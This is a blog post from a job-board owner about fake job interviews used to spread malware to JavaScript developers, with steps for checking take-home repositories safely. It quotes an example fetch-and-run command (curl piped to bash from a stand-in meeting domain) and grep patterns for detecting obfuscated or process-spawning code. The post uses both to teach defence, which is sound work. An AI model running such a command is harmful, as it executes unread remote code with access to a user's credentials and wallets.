Fake Job Interview Malware Is Targeting JavaScript Developers

Fake job interview malware reached my own job board this month, and my first instinct was to defend the listing.

In early November a reader sent me a short message on X. The job he pointed to was on my board. It was a Frontend Engineer role with React and Web3, paying $155,000 to $190,000, fully remote. "You have posted a scam job on your website," he wrote. "Please remove it."

I didn't want to believe it. I check every job before it goes up, and this one looked fine. The apply link went to the company's own domain, not to a free email address or a look-alike site. The company had a careers page, API documentation, a LinkedIn page, and even a page warning candidates about scammers who copy its job posts. The salary was high, but not absurd for a senior Web3 role.

So I asked him what happened. His answer took one sentence. After applying, he got a Calendly invite for an interview, and the invite asked him to download a "video call app" using curl.

That detail changed everything. This is the fake job interview malware scam that security researchers have been tracking since 2023, and it had come through my job board. Real companies interview you on Zoom, Google Meet or Teams, usually in the browser. Nobody legitimate asks a candidate to pipe a file from an unknown domain into a terminal before a call. I took the job down the same evening.

By then the listing had been on my board for 13 days, and 147 different people had clicked Apply. I have no way to know who they are, because I don't track applicants, only clicks. That is the reason I am writing this article. If you are a JavaScript developer looking for work in 2026, this attack is aimed at you specifically, and the page you apply through can look completely clean.

How Fake Job Interview Malware Actually Works

The fake interview attack is a malware campaign that uses the hiring process itself as the delivery mechanism. It does not need a vulnerability in your system. It needs you to run something because a recruiter asked you to.

Security researchers have been tracking this for years. MITRE ATT&CK lists it as a group called Contagious Interview, active since 2023 and aligned with North Korea, focused on people in software development and crypto. According to MITRE, the group impersonates HR staff on social media and job boards, then sends malicious files disguised as code tests that the victim has to run. It has also published malicious npm packages and used cloned video-conferencing apps to spread malware.

The video call version is the one my reader ran into. In early 2025, The Hacker News described a variant where targets were contacted on LinkedIn by fake recruiters, sent to a video assessment link, shown an error about camera or microphone access, and told to install or update software to fix it. In the macOS version, victims were tricked into copying a command into Terminal. The malware that followed could drain a MetaMask wallet and run commands on the machine.

What makes it work is not technical sophistication. It is timing. You are excited about a $160,000 remote role, the process feels real, there is a calendar invite with a time slot, and the thing they ask you to do sounds like a small technical step before the call. Developers run commands from the internet every day. That habit is the attack surface.

What the Listing Looked Like on My Board

The listing that got reported passed every check I had, which is exactly why I am describing it in detail. I want you to see what "looks legitimate" means in practice.

The role was titled Frontend Engineer (React, Web3). The company had its own domain with a dedicated careers page that matched the title and salary on my board. Applications went by email to an address on that same domain. The site loaded through Cloudflare, had a public API reference, and listed social accounts on LinkedIn, X, Telegram and Medium. The terms of service named a Wyoming LLC. There was a trust page that said the company never asks for money or crypto and only emails from its own domain.

In hindsight, the warning signs were there, just not one at a time. The company was founded in 2026. The legal registration number appeared only on the company's own pages. It was a Web3 payments product, which is the exact profile this campaign likes to imitate. The salary was at the top of the market for a frontend role, and applications went to a plain inbox rather than through an applicant tracking system. None of those things proves anything alone. Plenty of real startups are young, crypto-related and hire by email.

I also want to be careful about one thing. I don't know whether the invite my reader got came from the company itself or from someone using its name. Their own trust page says scammers copy their posts. For a candidate, the result is the same either way. The moment you are asked to run something to join an interview, you are no longer in a hiring process.

What I changed after this is simple. Any reader report now takes a job down immediately, and I check afterwards. And I no longer list young Web3 or crypto companies that have no independent registration and accept applications only by email. I wrote about how I spot other bad listings in Why Companies Post JavaScript Jobs They Never Fill and How I Spot Ghost Listings on My Board. Fake jobs are a different problem, and a more dangerous one.

The Request That Should End Every Interview

No legitimate interview requires you to install software from a link the recruiter sends, and no legitimate interview requires you to paste a command into your terminal. This is the rule I would put above every other piece of advice in this article.

The request usually looks like one of three things. A link to a "video interview platform" that says your camera is not supported and offers a fix. A command to copy into Terminal or PowerShell, often a curl that downloads a script and pipes it straight into a shell. Or a file, an installer or an archive, described as the meeting app.

The command version deserves a closer look, because it is the one developers are most likely to run without thinking. It tends to look like this.

# Never run something like this from a recruiter's message
curl -fsSL https://some-meeting-domain.example/install.sh | bash

That line downloads a script you have never read and executes it with your user's permissions in the same second. Everything your user can access, your SSH keys, your browser profiles, your .env files, your wallet extensions, the script can access too.

If a meeting link genuinely doesn't work, the correct answer is a reply, not a fix. Something like "the link isn't opening for me, could we use Google Meet or Zoom instead?" A real recruiter switches in a minute. A fake one pushes you back to their tool, invents urgency, or disappears. Either way you have your answer without risking anything.

Then check the details you skipped while you were excited. Does the invite come from the same domain as the company's careers page? Is the meeting domain related to the company at all? Is there a named person you can find on LinkedIn, with a history at that company longer than a few weeks?

How to Check a Take-Home Repository Before You Run It

A take-home repository from an unknown company should be treated as untrusted code until you have read the parts that execute automatically. In JavaScript projects, those parts are easy to find if you know where to look.

The first place is the scripts in package.json. npm runs some of them for you during install, including preinstall, install, postinstall and prepare. A malicious repo doesn't need you to start the app. It only needs you to type npm install.

# Read the scripts before installing anything
npm pkg get scripts

# Or without npm, if you don't want to run it at all yet
cat package.json | jq '.scripts'

If you see an install hook that downloads something, runs node on a file you didn't expect, or calls curl, wget, powershell or bash, stop there. A normal take-home rarely needs any install hooks at all.

The second step is to install without running those scripts, so you can look around safely.

npm install --ignore-scripts

This installs dependencies but skips lifecycle scripts, both in the project and in its dependencies. Some legitimate packages need their scripts to build native modules, so the project might not fully work afterwards. That is fine. The point is to look first.

The third step is to search the source for the patterns that show up in malicious code. Obfuscation is the biggest tell, because honest interview tasks have no reason to hide what they do.

# Look for code that executes strings, spawns processes or decodes payloads
grep -rnE "eval\(|new Function\(|child_process|execSync|spawn\(|Buffer\.from\([^)]*base64" \
  --include=*.js --include=*.ts --include=*.mjs --include=*.cjs \
  --exclude-dir=node_modules .

# Very long single lines are a common sign of minified or obfuscated payloads
find . -name "*.js" -not -path "*/node_modules/*" -exec awk 'length > 500 {print FILENAME": line "NR; exit}' {} \;

A hit is not automatic proof. Build tools use child_process, and a backend task might legitimately spawn a process. But in a small frontend take-home, a 4,000-character line of escaped characters inside a config file is not a style choice.

Also check the dependencies themselves. Look for packages with names that are one letter off a popular library, packages with very few downloads, and dependencies pointing straight to a GitHub URL or a tarball instead of the npm registry. The Hacker News article above mentions a malicious npm package used in a related incident, which is exactly how this works in practice. I covered why the npm supply chain is fragile in more detail in Axios Was Just Compromised in 2026.

Run Untrusted Code Somewhere That Has Nothing to Steal

The safest place to run a stranger's take-home is a machine that has nothing worth stealing on it. Your main laptop, with your SSH keys, browser sessions, password manager and work credentials, is the worst possible choice.

The simplest option for most JavaScript projects is a throwaway container. It won't stop every possible attack, but it keeps the code away from your home directory and your files.

# Run the project inside a disposable Node container, with only this folder mounted
docker run --rm -it \
  -v "$PWD":/app -w /app \
  node:22 bash

# Inside the container
npm install --ignore-scripts
npm test

If you want to see whether the code tries to reach the internet when it shouldn't, start a container without network access once the dependencies are installed.

docker run --rm -it --network none \
  -v "$PWD":/app -w /app \
  node:22 bash

A cloud development environment such as a GitHub Codespace or a throwaway virtual machine works too. The principle is the same. Your real secrets should never be on the machine where an unknown company's code runs for the first time.

None of this is paranoia. It is the same caution you would expect from a senior engineer reviewing a pull request from an unknown contributor. A good interviewer will actually respect it. If a company refuses to let you run its task in a container, that tells you something about the company.

Why I Think the Usual Advice Is Not Enough

The usual advice is to "watch out for job scams," and I think that advice fails developers because it describes the wrong kind of scam.

Most job scam warnings are written for a different situation. They talk about recruiters asking for a fee, fake checks, requests for your bank details, or jobs posted from Gmail addresses. Those still exist. But the campaign described here is aimed at developers specifically, and it looks nothing like that. It comes with a real-looking company site, a real-looking salary, a calendar invite and a technical task. Every signal that a normal job seeker is told to look for comes back clean.

What gives it away is a technical request, not a social one. And developers are the people most likely to comply with a technical request, because running unfamiliar commands is part of our job. That is why I think the most useful rule is not "be suspicious of recruiters" but "never let the hiring process run code on your machine." It is narrow, easy to follow, and it breaks the attack at the only step that matters.

It also puts some responsibility on job boards, including mine. Applicants trust that a listing was checked. I did check this one, and it still got through, because a clean careers page is easy to build. The honest thing is to say so publicly, take reports seriously, and make the checks stricter. If you see something on my board that looks wrong, tell me, and the job comes down first and gets investigated second.

Before Your Next Interview

Applying to remote jobs in 2026 means sending a lot of applications, and most of them will be real. You don't need to treat every recruiter as an attacker. You need one hard line that you never cross, no matter how good the salary looks.

Join interviews only through the browser or an app you already use. Read the scripts in package.json before you install anything from an unknown company. Install with --ignore-scripts, look for obfuscated code, and run the task in a container or a throwaway environment. If a recruiter asks you to fix your camera with a terminal command, end the conversation there.

If you are applying widely, it also helps to know which companies are worth your time in the first place. I wrote about that in Remote JavaScript Jobs in 2026 and How to Stand Out When 500 People Apply to Every Position, and the security side of everyday JavaScript work is covered in Web Security for JavaScript Developers in 2026.

A real company wants to see how you write code. Only a fake one needs you to run theirs.

I send remote JavaScript jobs with salary every Monday in JS Pulse, and every listing links to the employer's own page. You can subscribe here, or browse current JavaScript jobs.

FAQ

How do fake developer job interviews install malware? They get the candidate to run code as part of the hiring process. The usual routes are a "video call app" or camera fix that must be installed or pasted into a terminal, or a take-home repository with a malicious install script or dependency. MITRE ATT&CK tracks a group called Contagious Interview that uses these methods against developers.

Is it safe to run a take-home coding test from a company I don't know? Only after you check it, and ideally not on your main machine. Read the scripts in package.json, install with npm install --ignore-scripts, search the code for obfuscated or process-spawning code, and run it in a disposable container or virtual machine.

What should I do if a recruiter asks me to install software before an interview? Ask to use Zoom, Google Meet or Teams in the browser instead. A legitimate recruiter will switch without a problem. If they insist on their own tool, a terminal command or an installer, end the process and report the job to the site where you found it.